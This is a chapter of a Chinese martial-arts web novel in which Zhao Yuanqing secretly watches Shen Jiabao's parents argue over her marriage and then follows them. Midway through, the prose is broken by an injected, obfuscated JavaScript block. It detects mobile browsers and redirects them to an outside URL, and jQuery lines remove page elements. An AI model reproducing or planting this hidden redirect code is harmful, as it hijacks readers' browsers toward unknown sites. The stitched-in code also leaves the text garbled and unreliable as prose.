赵元青带着一身泪痕回到大厅,沈机还在陪客寒暄,墨八眼神古怪地看着她身前的水渍。她如常坐回座位,神色平静,仿佛什么都没发生过。
没过多久,沈机被沈嘉宝的婢女叫走,片刻后回来,神色郑重:“师妹的事情我实在不好做主,今日我会禀报给师父师娘。今夜天晚了,请诸位在此休息,谷内已安排好客舍。”
墨卿代为应允,仆从们便带着他们离开。走出大厅时,墨卿走在最后一个,余光瞥见沈机神情低落,似茫然又似了悟,带着几分疲惫。他隐秘地扬唇一笑,不再多看,快步朝最前头的赵元青赶去。
几人进屋后,白露最为着急:“怎样?她同意了没?”
赵元青点点头,沈嘉宝的哭泣让她心情沉重,因此言语直白:“明日且看她父母怎么说。”
谷内到了晚上有些冷,墨七披着墨八的外袍,问她:“那她父母若是直接不同意,还把我们赶出去,你怎么办?”
这话墨七说得有些稚气,赵元青笑了笑:“那咱们立刻就走,晚上我自己回来把她父母绑了,挨个用刀把肉片下来,一一审问。”
墨七错愕,抬头看见她笑,扁了扁嘴。
“你怀疑我们不讲义气不成?我又不是没杀过人,捂着脸,谁能认清谁。”白露不满地嘟囔。
赵元青耸耸肩,坐到桌旁,墨卿适时给她倒了杯水。
今日谷内难得没起雾,外面的月亮又圆又亮,银辉洒满院子。仆役很快敲门上了些云州特色的吃食,赵元青没什么胃口,同几人说了声,便出门散心。
墨卿起身欲跟,被她按了回去,自己独自出了门。
云碧谷不像淅川灯火通明,只能借着月光看路。两侧植物葳蕤,赵元青慢慢走在石子铺筑的小路上,呼吸着雾散后的空气。沈嘉宝今日的举动,除了她父母之外,赵元青想不到还有谁能桎梏她。她是独女,岐黄门的千金大小姐,自小被养在身边,身体不好。她母亲也身体不好,父亲常年陪母亲闭关。她母亲又像是身沉境,醒来时日颇少。这样的一个非常简单的生存环境和关系,其中有什么问题呢?
若说父母迫害,为何不反抗还要帮其隐瞒?难不成她也身负什么石灵骨之类的东西?
袖口的玉铃此时响了,赵元青止住思路,拿出铃铛回给燕椿和,告诉他方便,不忙。她看前面有个亭子,信步走去。
离亭子还有段距离时,她发现亭旁有人在烧纸,是个小丫鬟,十四五岁的模样,哭哭啼啼对着火光念念有词。
赵元青先把那玉铃铃舌堵住,隐在草木后听了一会。小丫鬟烧的是给麦冬的纸钱,口中说着什么“麦冬姐姐一路走好,谢谢姐姐之前的照顾”之类的话。
她哭得实在凄凉,赵元青不欲扰她,正要转身离开,路另一边却急急走来一个年长的婢女,训斥了小丫鬟一顿,扑灭了火。
年长的婢女用手拧那小丫鬟,说她上值时擅自离守,自己找她如何辛苦之类的话。小丫鬟被拧得哀哀叫,最后伏在地上低声讨饶,说自己再也不敢了。
“快走,门主同夫人出关了,把你眼泪擦擦,要笑,笑起来!机灵点!”年长的婢女强把她拽起来,二人一前一后往谷内走去。
赵元青低头打量了一下自己的黑衣,觉得应该问题不大,便隔了一段距离,跟在那两个婢女身后。看她们进了沈嘉宝的阁楼。
等那二名婢女进院,赵元青一跃跳上沈嘉宝楼阁上方,伏在屋顶掀开灰瓦片,看到了里面的情形。
沈嘉宝是坐着的,她还穿着白日那身鹅黄夏装,看着精神挺好。屋内只有她和她的父母三人。
赵元青听见沈嘉宝说:“父亲,母亲,元青你们上次也见过,我同她通信已久,她的人品我也信得过的。且江州离云州不远,若是嫁去那边,我也可时时来探望双亲。”
沈嘉宝的母亲还是那副孱弱模样,她一言不发,支着头在桌旁。反倒是沈嘉宝的父亲,那位岐黄门的门主,来回在屋内踱步,神情中带着怒意。
“宝儿,难不成你不要父母了?就为个男人,父亲已经说了,三年内会让你嫁出,你莫非不信父亲?”
“再说,他头回来谷内我见过他,如何就能从短短时间中由一个乡下来的乡野粗人变成七珞阁阁主了?谁知道是不是骗子!”
沈嘉宝的父亲越说越怒,一会说那赵元青绝非好人,一会又说从牧野那边找些青年才俊来供沈嘉宝挑选。
总之,核心就是不允许沈嘉宝嫁给赵元青。
赵元青心忖:看样子云州与牧野走得比想象中的要近许多。
但沈嘉宝思路十分清晰,态度平缓,各个好处都摆出来用以说服父亲同意自己嫁给赵元青。
她那位父亲却比她半点不如,说不过,便只能靠着怒气和父母的身份来遏制她。
这时,沈嘉宝的母亲开口了:“老爷……你们父女吵得我有些头痛,宝儿也大了,男大当婚女大当嫁,也是应该。”
她一开口,沈嘉宝父女立刻停嘴,二人都望向她。
赵元青皱眉,觉得她有点拉偏架,刚刚明明是那位当父亲的在吵。
那妇人起身说:“老爷,若是气坏身子就不值当了,你先消消气。”她把男人拉到桌旁,安抚地轻拍他肩。
又过去轻轻同沈嘉宝说:“宝儿,你想嫁他我能理解,母亲也是从少女年纪过来的,当时族中千挑万选,最后却对你父亲一见钟情。”妇人似想起年轻时趣事,回身同自己夫君二人相视一笑。
沈父面色转好。
“只是谷内如今需要你,先不说父母,你大师兄看病抓药十分厉害,对庶务却不精通,谷内若是离了你,怕是难以维持运转。”妇人漾起笑意。
“这样你看好不好?明日我们先见见那位年轻人,问问这其中究竟是有了什么奇遇,如何能短短一年时间就有了这般天翻地覆的变化?我女儿的眼光定然十分的好,只是我和你父亲,可怜父母心,总得定定神才行。”那妇人此时朝沈嘉宝眨了眨眼,显得有些少女的俏皮。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100989|156408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她拉过沈嘉宝的手,语带欣慰:“你如今也大了,是耽误不得,若是合适,咱们就合合八字,商定嫁娶时间。只你可要答应我,在谷内再留个一年半载的,培养培养新人,接了你手中的活计。母亲如今年纪大了,身体又不好,你父亲常年照顾我,可不许再叫父母二人为那些俗事操心才行。”她可怜地晃了晃沈嘉宝的手。
赵元青敏锐地看见沈嘉宝僵硬的身子一软,回拉母亲低声诚恳说道:“母亲,你放心,我绝不会撇下岐黄门自己出嫁。母亲也要答应我,顾好自己的身体。我……我若去了江州,也……也会准时回来的。”
那父亲冷哼:“嫁出去的女儿泼出去的水,你如此枉顾父母,只想着自己,我可不敢求你这外姓之人能如常回来,只你记得可怜可怜你母亲的思女之情便行了。”
沈嘉宝清凌凌的脸上流下泪,俯身跪下,不再言语。她母亲急地把她扶起来,理了理她的脸颊,帮她拭去脸上泪痕:“这是喜事,何必如此,你父亲只是嘴巴坏些,最是疼爱你不过,你不要怪他。”她眼睛盛满焦急。
沈嘉宝朝母亲一笑,她父亲态度也软化下来,三人在屋内又略谈了几句她的日常起居,大多是她母亲关心。
随后,沈嘉宝的父母出了她的这所阁楼。
赵元青抿了抿唇,犹豫低头看了沈嘉宝一眼,随后还是跟在她父母的身后。
这回距离拉得更远些。她看见沈嘉宝的父母颇为恩爱,男子扶着女子,二人没说话,回到一所三层阁楼后,沈嘉宝的父亲才低声开口:“宝儿她……”
他这时语气却很温和。
沈嘉宝的母亲拦住他欲开口的话:“夫君,听我的吧,无事的。”二人相互依偎,那妇人温软开口:“好夫君,我最大的幸事就是能从人群中一眼挑中你,然后嫁给你。这些年来,你总陪着我,会不会觉得烦?”
沈嘉宝的父亲瞧着也就三十多岁左右,他此刻眼中涌上许多情绪,崇拜,幸福,爱慕,怀念,那些都源于面前这个女人,如同毛头小伙子急急证明自己:“怎么会!我最大的幸事也是当年能对你一见钟情,你不知道你那时选了我我有多高兴!我……”
那妇人打断了他的话:“夫君,先想想女儿的事情。你是一家之主,又是岐黄门的门主,明日得多帮女儿做主些才是。”
赵元青见那妇人低声朝门主耳旁说着些什么,但声音太小,似乎都没发出声音似的。她只能听见几个短短的重音。
那沈门主也不说话,只一味点头。
二人商量没多久,接下来她就不便看了。只得回身离开院子,用轻功回到之前亭子处,再慢慢独自朝客舍走去。
夜深露重,靴沿已经被打湿了。石子路上有个很大的青色螳螂横在路中央,肚子瘪瘪,倒三角的头,只有触角微晃。赵元青停下脚步,等螳螂过去。那螳螂静止许久,突然一跃至路旁叶子处,镰刀挥下,啃吮起一个肉虫。
肉虫受惊蜷缩,却无力反抗,身子渐渐瘪下来。